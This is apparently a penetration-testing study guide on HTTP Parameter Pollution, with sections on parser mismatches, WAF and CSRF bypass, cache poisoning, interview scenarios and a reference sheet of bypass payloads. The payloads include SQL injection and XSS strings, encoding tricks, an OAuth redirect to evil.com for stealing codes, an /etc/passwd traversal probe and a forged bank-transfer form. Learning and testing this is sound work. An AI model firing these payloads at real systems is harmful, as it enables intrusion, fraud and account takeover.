1. Topic Overview — What, Why, Where, How, Which

The HTTP specifications provide no guidelines as to how web servers should behave when a request contains multiple parameters with the same name. In practice, different web servers behave in different ways.

The results of HPP attacks are heavily dependent on how the target application server handles multiple occurrences of the same parameter, and the precise insertion point within the back-end request.

A web application firewall or reverse proxy may process a request and pass it to the web application, which may proceed to discard variables, or even build strings out of previously disparate portions of the request!

  • Use the first instance of the parameter.
  • Use the last instance of the parameter.
  • Concatenate the parameter values, maybe adding a separator between them.
  • Construct an array containing all the supplied values.

The resulting application behavior then depends on how the back-end HTTP server handles the duplicated parameter. The attacker may be able to use the HPP technique to "override" the value of the original parameter with the value of his injected parameter.

Which Systems Parse Parameters Differently

Different frameworks handle duplicates differently:

Technology Behavior PHP Last value ASP.NET Comma separated Java (Servlet) First value Node.js Array Python Flask First value

2. How It Works (Simple + Technical)

Simple Explanation

Imagine:

Frontend validation checks:

price=100

But attacker sends:

price=100&price=1

Frontend sees 100

Backend processes 1

Boom. Validation bypass.

Technical Flow

Typical request pipeline:

Client
   ↓
CDN / WAF
   ↓
Load Balancer
   ↓
Backend Framework
   ↓
Application Logic

Each layer parses parameters independently.

Example attack:

GET /pay?amount=100&amount=1

Layer Interprets WAF amount=100 Backend amount=1

OR

Query string:

role=user&role=admin

Frameworks interpret as:

role = user
role = admin

Backend might take:

role = admin

Privilege escalation.

Security filter passes the request.

Application executes malicious value.

3. Mandatory Keywords (Pentester View)

HTTP Parameter

A key-value pair in HTTP request.

id=123
user=pavan

Location:

  • URL query
  • POST body
  • headers
  • cookies

Query String

The part after ? in a URL.

/search?q=test

Pentest relevance:

  • injection points
  • parameter manipulation

WAF (Web Application Firewall)

Filters malicious requests.

But many WAFs check only first parameter.

Example bypass:

q=safe&q=<script>

4. Where Parameters Live — Full HTTP Request Breakdown

A raw HTTP request has these main parts:

GET /api/user?id=123&role=user HTTP/1.1
Host: example.com
Cookie: session=abc123
User-Agent: Mozilla/5.0

Breakdown:

Section What it contains Request Line Method + path + query parameters https://example.com/products?id=100&category=phone Parameters here:id=100category=phone Headers Metadata about request Header ParametersHeaders also carry values.Example request: GET /dashboard HTTP/1.1 Host: example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 X-User-Role: user Parameters inside headers:AuthorizationX-User-Role Attack example:X-User-Role: userX-User-Role: admin Cookie ParametersCookies store session information.Example request:GET /profile HTTP/1.1Host: example.comCookie: session=abc123; role=user; theme=darkParameters:sessionrolethemeAttack example:Cookie: session=abc123; role=adminOr duplication:Cookie: role=user; role=adminSome frameworks use the last cookie value. Cookies Session values Body POST data POST /login HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencodedusername=pavan&password=secret123 Parameters:username=pavanpassword=secret123How You Modify ItExample attack:username=pavan&username=adminpassword=test JSON Body Parameters (Common in APIs)Modern APIs use JSON.POST /api/user HTTP/1.1Host: example.comContent-Type: application/json{ "username":"pavan", "role":"user"} Attack example:{ "username":"pavan", "role":"user", "role":"admin"}

5. Common Parameter Locations Pentesters Test

Location Example URL /user?id=123 POST username=admin JSON "role":"admin" Header Authorization: Cookie session=abc123 Hidden fields <input type="hidden">

6. Hidden Parameters (Very Important in Pentesting)

Example HTML:

<input type="hidden" name="price" value="100">

User cannot see it.

But request sends:

price=100

Attacker changes:

price=1

Classic business logic bug.

Hidden Parameters — How You Intercept and Modify Them

Hidden parameters appear in HTML forms but are invisible in the UI.

Example HTML page:

<form action="/checkout" method="POST">
<input type="hidden" name="price" value="100">
<input type="submit" value="Buy">
</form>

User never sees the price field.

But when the user clicks Buy, the browser sends:

POST /checkout
Content-Type: application/x-www-form-urlencoded
price=100

Pentester Interception Workflow

Step 1 — enable Burp Proxy intercept.

Step 2 — perform action in browser (click Buy).

Burp captures request:

POST /checkout
Host: shop.com
price=100

Step 3 — modify value:

price=1

Step 4 — forward request.

If backend trusts client input → item costs ₹1.

Classic business logic flaw.

7. Parameter Encoding (Important)

Parameters are URL encoded.

Example:

name=pavan kumar

becomes

name=pavan%20kumar

Example XSS payload:

<script>alert(1)</script>

encoded:

%3Cscript%3Ealert(1)%3C/script%3E

8. Encoded Parameter Pollution — How %00 Works

Null byte %00 is the ASCII 0x00 byte.

Historically many C-based programs treat this byte as string terminator.

Example:

"id%00"

When decoded:

"id\\0"

Some parsers treat it as a different key:

id
id\\0

Example request:

id=1&id%00=2

Possible interpretations:

WAF parsing:

id = 1

Backend parsing:

id = 2

Because the backend may truncate parameter names at null byte.

This behavior mostly appears in older frameworks and libraries.

Why %00 Does Not Always Stop Parsing

It depends on the implementation.

Two cases exist.

Case 1 — null byte terminates string

Parser sees:

id%00

Truncates to:

id

So backend reads:

id=2

Case 2 — parser treats %00 literally

Then key becomes:

id\\0

Which is a different parameter name.

Result:

id=1
id\\0=2

Application might ignore one and process the other.

That mismatch is the vulnerability.

9. Why Parser Mismatch Happens

Each layer uses different libraries.

Typical request pipeline:

Browser
   ↓
CDN
   ↓
WAF
   ↓
Load Balancer
   ↓
Framework
   ↓
Application

Each layer parses parameters independently.

Example:

?id=1&id=2

Layer Result WAF id=1 NGINX id=2 Application id=2

This disagreement creates HPP.

10. Why WAF Reads Only the First Parameter

This happens because WAFs must process traffic extremely fast.

Deep parsing of every parameter is expensive.

Many WAF engines simply:

  1. parse query string
  2. store first value
  3. run detection rules

Example request:

id=1&id=1 OR 1=1

WAF parsing logic:

id = 1

Rule engine checks:

1

No SQL injection pattern detected.

Request allowed.

11. The Deep Insight Most Beginners Miss

Most beginners think HPP is about duplicates.

It's not.

It's about parser confusion.

Whenever two components interpret the same request differently, security controls break.

That concept appears everywhere:

  • HTTP Parameter Pollution
  • HTTP Request Smuggling
  • Cache Poisoning
  • Desync attacks

Same root idea:

Different parsers = security bypass.

Parameters are not just input fields.

They are the entire control interface of the application.

If an attacker controls parameters, they may control:

  • authentication
  • authorization
  • prices
  • file paths
  • database queries

A web application is basically a machine that reacts to parameters.

Change the parameters cleverly enough and the machine starts doing things it was never meant to do.

12. Real-World Pentest Test Cases

Test Case 1 — WAF Bypass via Duplicate Parameter

Example request:

id=1&id=1 OR 1=1

WAF sees: id=1 → passes.

Backend executes: id=1 OR 1=1 → SQL injection.

Test Case 2 — Price Manipulation via Hidden Parameter

POST /checkout
price=100&price=1

Backend uses last value → charges ₹1.

Test Case 3 — XSS Filter Bypass

Application filter:

block <script>

Payload:

q=hello&q=<script>alert(1)</script>

Filter checks first value:

hello

Backend renders second.

Result:

XSS

Test Case 4 — Header Pollution (IP Bypass)

HTTP headers can also be duplicated.

Example request:

GET /admin
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: attacker-ip

Many applications trust X-Forwarded-For to identify client IP.

If backend reads second value:

127.0.0.1 → attacker

or vice versa.

This can bypass IP-based restrictions.

Example: Admin panel allowed only from localhost.

Attacker sends:

X-Forwarded-For: 127.0.0.1

Server thinks attacker is local.

Test Case 5 — Access Control Bypass

Request:

GET /api/user?role=user&role=admin

If backend processes:

role=admin

Impact:

Privilege escalation

13. Advanced WAF + HPP Techniques Pentesters Test

Attackers try these combinations:

id=1&id=1 union select
id=1&id=%31%20OR%201=1
id=1&id[]=1 OR 1=1
id=1&id=1/**/OR/**/1=1

Goal:

Make WAF see safe value but backend execute malicious value.

14. Eight Advanced Parameter Attack Techniques (Bug Bounty Level)

These are extremely common in modern API testing.

1 — Parameter Pollution Chains

Example:

price=100&price=1

Used to bypass validation filters.

2 — Hidden Parameter Discovery

Use Param Miner to find undocumented parameters.

Example:

/api/user?admin=true

Sometimes reveals admin features.

3 — Parameter Smuggling

Sending parameters in multiple locations.

Example:

GET /api?id=1
Cookie: id=999

Different layers may use different values.

4 — Mass Assignment

API accepts many fields.

Example request:

{
"name":"pavan",
"role":"user"
}

Attacker adds:

{
"name":"pavan",
"role":"admin"
}

If backend auto-binds fields → privilege escalation.

5 — JSON Parameter Injection

Example:

{
"user":"pavan",
"admin":true
}

Server might trust this field.

6 — API Parameter Abuse

Testing undocumented fields:

/api/user?debug=true

or

/api/order?internal=true

7 — GraphQL Parameter Attacks

GraphQL queries allow nested parameters.

Example:

{
 "query":"{user(id:1){email,password}}"
}

Attackers manipulate query fields to extract sensitive data.

8 — OAuth Parameter Manipulation

Example:

redirect_uri=trusted.com&redirect_uri=evil.com

Authorization code leaked to attacker.

15. Defenses (What Developers Should Do)

Secure implementations:

  1. Reject duplicated parameters
  2. Normalize inputs
  3. Validate after parsing
  4. Use strict parameter mapping

Example secure logic:

if duplicate parameter:
    reject request

Topics Still Left to Cover in HPP

  • Attacker Mindset & Vulnerability Chaining — how HPP chains with SQLi, XSS, SSRF, Auth Bypass, IDOR to build full attack paths
  • Full Real-World Test Cases — Test Cases 1–10 complete exploitation walkthroughs with tools (Burp, Param Miner, ffuf)
  • HPP in REST APIs vs GraphQL vs SOAP — protocol-specific HPP behavior and exploitation
  • HPP in OAuth & SSO flows — redirect_uri pollution, state parameter pollution
  • HPP + Cache Poisoning — using duplicate parameters to poison CDN/proxy caches
  • HPP + CSRF — parameter pollution to bypass CSRF token validation
  • HPP in Mobile API backends — iOS/Android app traffic manipulation
  • Tool Workflow — Param Miner, Arjun, ffuf, Burp Suite Pro — step-by-step recon to exploitation
  • Scenario-Based Interview Questions — real-world challenge questions for bug bounty and pentest interviews
  • Bypass Techniques Reference Sheet — encoding combinations, array notation, null byte, fragment tricks

Realistic Attack Flow — Cache poisoning

Step 1 — attacker sends polluted request

GET /search?q=phone&q=<script>alert(1)</script>

Cache key used by CDN:

q=phone

Backend uses:

q=<script>alert(1)</script>

Backend response:

Search results for <script>alert(1)</script>

Step 2 — CDN caches the response.

Step 3 — victim visits:

/search?q=phone

They receive poisoned response.

Why Caches Ignore Duplicate Parameters

Caching systems typically normalize query strings.

Reasons:

  • performance optimization
  • cache key simplification
  • legacy behavior

Some caches use only first occurrence when building the cache key.

Application frameworks may use last occurrence.

That mismatch is the vulnerability.

Testing Methodology

When you find cacheable endpoints, test duplicate parameters.

Example target:

/product?id=1

Tests:

id=1&id=2
id=1&id=<script>alert(1)</script>
id=1&id=../../etc/passwd

Observe:

  • response content
  • cache headers
  • reflected payloads

Important headers:

X-Cache
CF-Cache-Status
Age

These indicate if response came from cache

HPP + CSRF Token Bypass

Topic Overview

CSRF protection normally works like this.

User request:

POST /transfer
amount=100
csrf_token=ABC123

Server verifies:

if(token == stored_token)

Request allowed.

Vulnerable Validation Logic

Sometimes validation checks first occurrence of parameter.

Example validation layer:

csrf_token=VALID_TOKEN

But application logic reads last parameter.

Attack Request

POST /transfer
amount=100
csrf_token=VALID_TOKEN
csrf_token=ATTACKER_TOKEN

Two interpretations.

Component Value used CSRF validation VALID_TOKEN Business logic ATTACKER_TOKEN

Validation passes.

Application executes request.

Real Attack Scenario

Victim logged into banking site.

Attacker sends victim malicious page:

<form action="<https://bank.com/transfer>" method="POST">
<input name="amount" value="10000">
<input name="csrf_token" value="VALID_TOKEN">
<input name="csrf_token" value="ATTACKER_TOKEN">
</form>

Browser sends both parameters.

CSRF filter reads first token.

Transfer logic reads second token.

Money transferred.

Why This Happens

Because frameworks parse parameters differently.

Example Java code:

Validation layer:

request.getParameter("csrf_token")

Application layer:

request.getParameterValues("csrf_token")

Or vice versa.

Different functions → different results.

Testing CSRF With HPP

When testing CSRF-protected endpoints:

Original request:

POST /transfer
amount=100
csrf_token=abc123

Test duplicates:

csrf_token=abc123&csrf_token=invalid

or reverse order:

csrf_token=invalid&csrf_token=abc123

Observe response.

If request still succeeds → validation flaw.

Advanced CSRF HPP Trick

Sometimes token must match cookie.

Request:

Cookie: csrf=abc123
csrf_token=abc123

Attack:

csrf_token=abc123&csrf_token=evil

Cookie validation passes.

Application logic reads second token.

Protection bypassed.

16. Scenario-Based Interview Questions

Scenario 1 — The E-Commerce Price Override

Question:

You are testing an e-commerce application. The checkout page sends this request:

POST /checkout HTTP/1.1
Host: shop.com
Content-Type: application/x-www-form-urlencoded
product_id=42&quantity=1&price=999

The application also has a WAF in front. You notice the WAF rejects requests with price=0.

How do you attempt to purchase the item for free or at a reduced price using HPP?

Expected Answer:

  • Duplicate the price parameter: price=999&price=0
  • WAF reads first value price=999 → no alert
  • Backend (e.g., PHP) reads last value price=0 → charge is zero
  • Also test: price=0&price=999 if backend uses first value (Java/Flask)
  • Also test: price=999&price=-1 for negative price / credit abuse
  • Tool: Burp Repeater — manually inject duplicate parameter in body

Impact: Business logic bypass, financial loss for application.

Scenario 2 — The Role Escalation API

Question:

A REST API endpoint assigns a user role during registration:

POST /api/register HTTP/1.1
Host: app.com
Content-Type: application/x-www-form-urlencoded
username=pavan&password=secret&role=user

You want to register as an admin. The application has server-side validation that checks role=user is present. How do you bypass this?

Expected Answer:

  • Send: username=pavan&password=secret&role=user&role=admin
  • Validation checks first role=user → passes
  • Backend (Node.js array or PHP last-value) processes role=admin
  • Also test in JSON body: {"role":"user","role":"admin"} — many JSON parsers use last key
  • Tool: Burp Repeater, curl

Impact: Privilege escalation — attacker registers as admin.

Scenario 3 — The WAF-Protected SQLi

Question:

The following endpoint is protected by a WAF that blocks SQL injection patterns:

GET /api/products?id=1 HTTP/1.1

Direct id=1 OR 1=1 is blocked. How do you attempt SQLi bypass using HPP?

Expected Answer:

  • Send: GET /api/products?id=1&id=1 OR 1=1
  • WAF reads first id=1 → no SQL pattern → allowed
  • Backend reads second id=1 OR 1=1 → SQL injection executes
  • Also try encoded variants:
  • id=1&id=1%20OR%201%3D1
  • id=1&id=1/**/OR/**/1=1
  • id[]=1&id[]=1 OR 1=1
  • Tool: Burp Repeater, sqlmap with --hpp flag

Impact: Authentication bypass, data exfiltration.

Scenario 4 — The OAuth Redirect Hijack

Question:

You are testing an OAuth 2.0 authorization flow. The authorization endpoint is:

GET /oauth/authorize?client_id=app&redirect_uri=https://trusted.com/callback&response_type=code

The server validates that redirect_uri matches the registered URI https://trusted.com/callback.

How do you attempt to steal the authorization code using HPP?

Expected Answer:

  • Send: redirect_uri=https://trusted.com/callback&redirect_uri=https://evil.com/steal
  • Validation reads first redirect_uri=https://trusted.com/callback → passes whitelist check
  • Backend processes second redirect_uri=https://evil.com/steal → auth code sent to attacker
  • Also test: redirect_uri=https://trusted.com/callback%00https://evil.com/steal (null byte injection)
  • Tool: Burp Repeater, manual testing

Impact: Authorization code theft → full account takeover.

Scenario 5 — The XSS Filter Evasion

Question:

A search endpoint reflects user input in the response. It has a filter that blocks <script> tags:

GET /search?q=hello HTTP/1.1

Direct q=<script>alert(1)</script> is blocked. How do you use HPP to bypass the filter and achieve XSS?

Expected Answer:

  • Send: GET /search?q=hello&q=<script>alert(1)</script>
  • Filter checks first q=hello → clean → passes
  • Backend reflects second q=<script>alert(1)</script> → XSS fires
  • Also test: q=<scr&q=ipt>alert(1)</script> — split across parameters if concatenation occurs
  • Tool: Burp Repeater, browser developer tools

Impact: XSS — session hijack, credential theft, phishing.

17. Bypass Techniques Reference Sheet

Category 1 — Basic Duplicate Parameter Injection

The most fundamental HPP technique. Works when the backend uses a different duplicate resolution strategy than the WAF or validation layer.

# Standard duplicate
param=safe_value&param=malicious_value
# Reverse order (for first-value backends)
param=malicious_value&param=safe_value
# Triple injection
param=safe&param=safe&param=malicious

Target Behavior Payload Order PHP (last value) param=safe&param=evil Java / Flask (first value) param=evil&param=safe ASP.NET (comma joined) param=safe&param=evil → server sees safe,evil Node.js (array) param=safe&param=evil["safe","evil"]

Category 2 — URL Encoding Combinations

Used to evade pattern-matching WAFs while still having the payload execute on the backend.

# Standard URL encoding
id=1&id=1%20OR%201%3D1
# Double URL encoding
id=1&id=1%2520OR%25201%253D1
# Mixed encoding (partial)
id=1&id=1%20OR 1=1
# Hex encoding
id=1&id=1%20OR%201%3d1
# Unicode encoding
id=1&id=1%u0020OR%u00201=1
# Encoding only the dangerous keyword
id=1&id=1 %4fR 1=1     (O encoded as %4f)

Category 3 — Array Notation Techniques

Some frameworks treat param[] as an array. This changes how values are parsed and can confuse WAF rules.

# Array notation
id[]=1&id[]=1 OR 1=1
# Indexed array
id[0]=1&id[1]=1 OR 1=1
# Mixed — one as array, one as string
id=1&id[]=1 OR 1=1
# JSON array in body
{"id":[1, "1 OR 1=1"]}

Framework Array Parsing Behavior PHP id[] creates array $_GET['id'] Node.js (express) id[] creates array automatically Python Flask request.args.getlist('id') returns array Java Spring @RequestParam List<String> collects all

Category 4 — Null Byte Injection

Targets older frameworks and C-based parsers that treat %00 as string terminator.

# Null byte in parameter name
id%00=evil_value
# Null byte to split parameter
id=clean_value%00&id=evil_value
# Null byte in value to truncate
id=1%00 UNION SELECT 1,2,3
# Null byte between parameter and value
id%00=1 OR 1=1

How It Works:

WAF sees:     id%00 → unknown parameter → skips rule check
Backend sees: id\\0  → truncates to 'id' → processes as id=evil_value

Category 5 — Fragment Identifier Tricks (Client-Side HPP)

The fragment # is never sent to the server — it stays in the browser. This enables client-side HPP where JavaScript reads parameters incorrectly.

# Fragment to hide malicious value from server-side WAF
<https://app.com/page?param=safe#&param=evil>
# JavaScript reads full URL including fragment
# Server only receives: ?param=safe
# Client-side JS reads: param=safe and param=evil
# Example attack on client-side router
<https://app.com/#/dashboard?role=user&role=admin>

When to Use:

  • Single-page applications (React, Angular, Vue)
  • Apps that use window.location.href to parse parameters
  • OAuth implicit flow (token returned in fragment)
# OAuth fragment attack
<https://app.com/callback#access_token=legitimate&access_token=stolen_value>

Category 6 — Parameter Delimiter Abuse

Some parsers accept alternative delimiters. This can cause one layer to treat a value differently from another.

# Semicolon as alternate delimiter
?id=1;id=evil
# Pipe delimiter
?id=1|id=evil
# Comma separator
?id=1,evil
# Encoded ampersand to confuse parser
?id=1%26id=evil
# Line feed injection
?id=1%0Aid=evil

Delimiter Framework/Server that accepts it ; PHP, some IIS configurations & (encoded as %26) Parsers that double-decode , ASP.NET joins with comma %0a (newline) Some custom parsers

Category 7 — JSON Body Parameter Pollution

Duplicate keys in JSON. Behavior is undefined by the JSON spec — each parser decides independently.

# Duplicate key — last value wins in most parsers
{"role":"user","role":"admin"}
# Nested duplicate
{"user":{"role":"user"},"user":{"role":"admin"}}
# Mixed type pollution
{"id":1,"id":"1 OR 1=1"}
# Array + string confusion
{"role":"user","role":["user","admin"]}

JSON Parser Duplicate Key Behavior Python json.loads Last value wins JavaScript JSON.parse Last value wins Java Jackson Last value wins (default) Java Gson First value wins PHP json_decode Last value wins

Category 8 — Header Pollution

HTTP headers can also be duplicated. Useful for IP spoofing and bypassing auth headers.

# IP restriction bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ATTACKER-IP
# Auth header pollution
Authorization: Bearer legitimate_token
Authorization: Bearer malicious_token
# Custom role header
X-User-Role: user
X-User-Role: admin
# Host header pollution
Host: trusted.com
Host: evil.com

Quick Reference — All Bypass Payloads at a Glance

# 1. Basic duplicate
param=safe&param=evil
# 2. URL encoded
param=safe&param=evil%20payload
# 3. Double encoded
param=safe&param=evil%2520payload
# 4. Array notation
param[]=safe&param[]=evil
# 5. Indexed array
param[0]=safe&param[1]=evil
# 6. Null byte name split
param%00=evil
# 7. Fragment (client-side)
<https://site.com/page?param=safe#&param=evil>
# 8. Semicolon delimiter
param=safe;param=evil
# 9. JSON duplicate key
{"param":"safe","param":"evil"}
# 10. Header duplication
X-Forwarded-For: 127.0.0.1\\nX-Forwarded-For: attacker
# 11. Encoded ampersand
param=safe%26param=evil
# 12. Null byte value truncation
param=evil%001junk_ignored_here

Tools for HPP Testing

Tool Purpose Command / Usage Burp Suite Repeater Manual parameter duplication Manually duplicate params in request editor Param Miner (Burp Extension) Discover hidden/undocumented parameters Right-click → Param Miner → Guess params Arjun Automated hidden parameter discovery arjun -u <https://target.com/api> -m POST ffuf Fuzz parameters from wordlist ffuf -u <https://target.com/?FUZZ=test> -w params.txt curl Quick manual HPP testing curl '<https://target.com/?id=1&id=evil'> HackBar (Firefox) Browser-based param manipulation Add duplicate params in URL bar extension